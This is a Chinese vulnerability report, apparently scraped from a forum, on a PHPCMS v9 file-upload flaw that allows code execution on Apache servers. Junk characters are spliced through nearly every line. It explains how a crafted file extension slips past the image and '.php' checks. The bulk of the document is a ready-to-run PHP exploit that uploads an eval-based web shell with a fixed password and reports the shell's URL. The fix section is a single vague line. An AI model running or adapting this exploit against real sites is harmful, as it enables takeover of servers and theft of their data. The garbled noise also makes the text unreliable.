漏洞类型: 文件上传导致任意代码执行2 t5 C6 H% R) X7 ^0 i+ K5 t
, P8 P j2 v4 r* |简要描述:
. g w% ~: u. N$ G+ A* H: U) Z5 d7 M* A6 B, a/ {; n
phpcms v9 getshell (apache)6 g/ x5 ^; E3 h2 `
详细说明:- j9 ]* p/ I2 j8 {1 w
- W- ^) w! _& B- }1 Y- a+ }
漏洞文件:phpcms\modules\attachment\attachments.php
- A/ R q4 j8 P3 p) Q7 A7 D# d9 Q. U& i4 G' }$ h
public function crop_upload() { (isset($GLOBALS["HTTP_RAW_POST_DATA"])) { $pic = $GLOBALS["HTTP_RAW_POST_DATA"]; if (isset($_GET['width']) && !empty($_GET['width'])) { $width = intval($_GET['width']); } if (isset($_GET['height']) && !empty($_GET['height'])) { $height = intval($_GET['height']); } if (isset($_GET['file']) && !empty($_GET['file'])) { $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号 if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键 if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) { $file = $_GET['file']; $basenamebasename = basename($file);//获取带有后缀的文件名 if (strpos($basename, 'thumb_')!==false) { $file_arr = explode('_', $basename); $basename = array_pop($file_arr); } $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename; } else { pc_base::load_sys_class('attachment','',0); $module = trim($_GET['module']); $catid = intval($_GET['catid']); $siteid = $this->get_siteid(); $attachment = new attachment($module, $catid, $siteid); $uploadedfile['filename'] = basename($_GET['file']); $uploadedfile['fileext'] = fileext($_GET['file']); if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) { $uploadedfile['isimage'] = 1; } $file_path = $this->upload_path.date('Y/md/'); pc_base::load_sys_func('dir'); dir_create($file_path); $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext']; $uploadedfile['filepath'] = date('Y/md/').$new_file; $aid = $attachment->add($uploadedfile); } $filepath = date('Y/md/'); file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控 } else { return false; } echo pc_base::load_config('system', 'upload_url').$filepath.$new_file; exit; } }
* h& q. b7 J7 }' n后缀检测:phpcms\modules\attachment\functions\global.func.php
0 x& l1 p9 Y6 s" y; s# @7 P' x7 B' E# _0 J( l6 ~" S
- s3 t6 ?2 p+ c/ |- a2 @4 v, y8 b+ {$ K1 @7 M) Y) m
function is_image($file) { $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff'); $ext = fileext($file);关键地方 return in_array($ext,$ext_arr) ? $ext_arr :false; }
% R7 ~$ ]' m, Q
0 N' R6 f5 P6 c2 L4 W关键函数:
8 x- R; T. o% p' g- _" x# w3 |2 G* E' Y+ p/ F/ o" x$ @3 t
: i T: q, G. @& Q* A- V+ c' d* R. q! s8 w
function fileext($filename) { return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }
7 T9 I& }6 Z5 D, m
' I' I9 i: c5 j# d Fileext函数是对文件后缀名的提取。
8 R3 \# }0 [/ q2 w根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php5 a# r- T& y% g2 q" J
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
1 a; ?! H+ ^5 z( c$ q# N* S* ^我们回到public function crop_upload() 函数中
! ?" `$ C R1 _3 K; fif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();
+ R& w* v) ~( c6 p% G在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数
' u+ K1 o ^1 B6 Y/ i( a8 n这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
# u- `. j# u) P: G$ ~1 [经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。
5 `, @: R5 `3 n# f2 ]$ J7 a最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
6 @1 h0 x5 s; P0 [; y q- e2 T看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。% @# H& p2 ?6 E
漏洞证明:
# h+ m" r2 p2 Z' C: g% _. K- t
' Q f/ f6 R8 O+ P: kexp:- ]. a# \. B" `+ q4 R
3 r0 u8 G5 r! d+ P; L$ X2 S
<?php
/ Z% b; g, J r) s' e0 }/ Xerror_reporting(E_ERROR);. |/ U- @7 F: N3 n* E' |+ g3 @% R1 }
set_time_limit(0);0 Q+ W) x: a% ~3 q& U; v( X
$pass="ln";; T- V) o7 H& L# J% s3 U
print_r('
" |/ C Z( d \$ s: \+---------------------------------------------------------------------------+1 Y# F4 y8 t/ l& C- E1 }
PHPCms V9 GETSHELL 0DAY
- V& I% \8 u( l2 @! Bcode by L.N.
5 W1 P+ ]9 n# m' K" h; D! D7 r: S4 Z9 }/ K7 o! A H$ ?
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
+ r) E2 N8 z5 f) z/ y" W+---------------------------------------------------------------------------+- W+ q! q6 |6 Z
');
1 D5 U. |6 Q4 p( Qif ($argc < 2) {& s1 X% u/ L# U. R- w3 o* z
print_r(') D/ A$ L7 {, m) [1 A2 Y U
+---------------------------------------------------------------------------+* J( r# V" ?3 y4 r7 f+ c& g# r
Usage: php '.$argv[0].' url path% ?0 f' F/ e4 u( ^
q2 \; q8 l) ]! Z+ K d6 m4 T* ]Example:
+ e. k% Q( Y2 T2 a& {$ b1.php '.$argv[0].' lanu.sinaapp.com3 @. X9 M6 S) Z( k
2.php '.$argv[0].' lanu.sinaapp.com /phpcms
; ] D6 P6 G( F0 n6 y2 G- \+---------------------------------------------------------------------------+. P7 m4 r+ o% _$ Z, E/ k
');
$ V! R8 k* U" r2 p6 v8 }2 X [/ s4 @% iexit;/ ?# D) ? l3 k4 o4 C
}- M( v! Z1 [6 x( M& s$ p: R
3 I2 J0 x/ i' {' F- m/ c, X
$url = $argv[1];
) P. w/ ~9 [ X4 E) R$path = $argv[2];
: u3 {, a3 s( L$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';
& E4 p( I. S0 L* U& y1 @$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';# ]8 B$ B, S9 i% |7 H# X( d( l4 ?
if($ret=Create_dir($url,$path))$ F1 Y% f. ~9 u
{9 P- Q1 V+ g. I: u; D6 I/ L1 A
//echo $ret;
4 w3 Y* H5 b4 v1 M' r6 M' O- e$pattern = "|Server:[^,]+?|U";( K/ X- o: B8 S( n' o
preg_match_all($pattern, $ret, $matches);
7 S& V$ A: [% |+ Q* ^if($matches[0][0])
8 G$ o% Q6 \+ W0 l( F" _{
/ S4 f/ w [' V# tif(strpos($matches[0][0],'Apache') == false), J1 \' S$ Z( B6 D9 a- L. l
{! c2 M5 q+ J. H( S
echo "\n亲!此网站不是apache的网站。\n";exit;/ d, [; Q' ^3 a
}' p2 I7 _+ E! z7 n. X5 R
}
# J" m* U! c" X7 w; n; A$ret = GetShell($url,$phpshell,$path,$file);0 c& D; s0 @) Y1 c h: c# [
$pattern = "|http:\/\/[^,]+?\.,?|U";
; k7 X% K5 H$ T/ A, y0 W) Y x3 ]9 ~2 W' lpreg_match_all($pattern, $ret, $matches);4 j; e" F& U' E C
if($matches[0][0])) s8 ]- T5 G9 P
{$ W& a9 ?+ M d8 n: M
echo "\n".'密码为: '.$pass."\n";
0 g; D9 ]% g9 R$ eecho "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;- B$ ~) j- m3 w! x4 Q
}
/ R t; w, [% q+ o3 ~7 h! yelse
: c' h# v; Q9 j' X9 ^{
- R' X5 C! q, |" C+ O$pattern = "|\/uploadfile\/[^,]+?\.,?|U";$ H/ o8 g" \; m
preg_match_all($pattern, $ret, $matches);
) t& x8 D. w8 R/ W: g- Y- d! bif($matches[0][0])( M9 ~$ Q& ]3 T5 I
{
2 c6 x, m! J+ T& b. M* ~5 s6 U, ~echo "\n".'密码为: '.$pass."\n";4 V/ R; z$ e5 K3 h. f* u
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;. x( K' w: `; `* }
}3 Y8 D3 w) o5 i( A' y& O% M* Y& q* @
else1 a8 Z5 B5 h: E/ h4 v& h
{5 N: Y4 w9 J5 x& m. O! d) g
echo "\r\n没得到!\n";exit;
& c7 l" ~1 n. a7 a& d}( k1 d- D5 d o" s
}
, W6 Q8 ?2 h n! l' Q; p8 w}4 b9 N0 e5 ^ \# m) ~" u
/ M7 ?+ ^: i$ n' F; qfunction GetShell($url,$shell,$path,$js)/ e1 K8 I6 M# u$ d" X6 o
{
% S& p, e" y3 O3 L! n$content =$shell;! i; R6 l! D. S' D. \$ K, y- ^, _) u* z
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
) o8 Y' p+ k e$data .= "Host: ".$url."\r\n";" K4 f: B! m0 r! ~
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n"; O2 E4 @0 U; V* L9 ~$ R: T
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
8 b$ D( \1 F5 ]' \3 X, X$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
8 |) x; q* q; I1 z. K% Z4 \$data .= "Connection: close\r\n";' k6 i! `. @5 @, ^2 F/ o( x
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
& k6 S/ F9 @3 V. a/ E# S) u) L% @$data .= $content."\r\n";! n' E# j3 n4 E( f' H
$ock=fsockopen($url,80);4 J4 `: G# D( V5 ~5 w
if (!$ock)
8 u& r; l4 {; R# Q7 I9 m{7 j; f* Y" e2 v0 e/ _7 j; U0 A! k% c
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;6 H s$ I; S. s: ?1 y$ g" p5 `& M! Z
}' K7 m7 `, b9 s- ~* Z2 i
else
% w6 n6 b; n! P7 \; Z{; C; A" Z% |: a3 x. Z9 O. w9 a: |
fwrite($ock,$data);
* K! H# A% ?5 J( M u' c$resp = '';
Y6 q3 p3 d0 J& c3 Twhile (!feof($ock))( @1 L" p) l. k- l9 E
{
4 o5 z& G9 a8 J8 G( w T$resp.=fread($ock, 1024);
- u. ^, ?+ d8 ]+ C9 C! K3 m}
6 |' R0 t; y8 s7 w. b) T, Lreturn $resp;
% n8 C; R; D% ?: n% c) g}8 [- \( Y6 U# N( G% W# A# m$ b
}" t5 W: u2 m T. Z: U7 r* ?
" u* `# ^+ U7 q, X6 V: D( pfunction Create_dir($url,$path='')
; p! N, N0 F3 a{
}2 d0 R0 W6 X( n4 Y$content ='I love you';* b9 s2 X" o; ]) R
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";/ L: V3 r; R7 a! G1 }5 `2 a% R
$data .= "Host: ".$url."\r\n";
8 O v2 ]* J3 {6 C8 g4 h: z2 T* x$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
+ G; l% s, `7 O; y' `% }' s+ y4 b$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";, U' [ I* E4 ?. n: |9 R$ i. ^
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
/ t* @: b& _( o5 O) ^$data .= "Connection: close\r\n";
x4 ^* q1 u8 e7 ?, ?9 r3 ~$data .= "Content-Length: ".strlen($content)."\r\n\r\n";2 q# q% A1 ? ~" v( p# S- L3 j9 y
$data .= $content."\r\n";/ p, [# L( v* M2 c* r8 j
$ock=fsockopen($url,80);
( B; y) W" s9 f& {if (!$ock)7 @7 t8 y- A3 }, J1 w7 e0 L
{
4 c t d8 B0 t3 e) ]% H! F9 aecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
; B, t4 F7 K) P* M5 X}" @% t5 j" k9 u1 u0 u) i) {
fwrite($ock,$data);
7 U& \# o- Z$ L1 |+ _$resp = '';" A$ C' g1 a$ H! j5 j! C
while (!feof($ock)), E3 ?% }. u, L- c; Z0 i" \
{$ p" _0 r% F- S2 g5 f$ p3 g7 `0 h
$resp.=fread($ock, 1024);
" n. X% ?% J/ u( w7 X, o}
$ ~7 X$ _" y: d: k/ f! oreturn $resp;) s$ o: a+ f1 Q1 S# q! Z
}
0 w! E4 a. I( f; |1 A' z?>
8 z' Y4 s( ^2 V1 Y% V1 j, E 0 L: D0 j9 B9 n; S7 g1 [
修复方案:9 H9 o1 R" v2 x% r; [/ @- m: j
* ]# J& a5 w9 k) u% {* `7 _; N) d. R
过滤过滤再过滤
/ H" d0 L1 W% q" X/ X% g3 ]0 h5 `
2 s4 V5 h1 X6 V; n$ @ |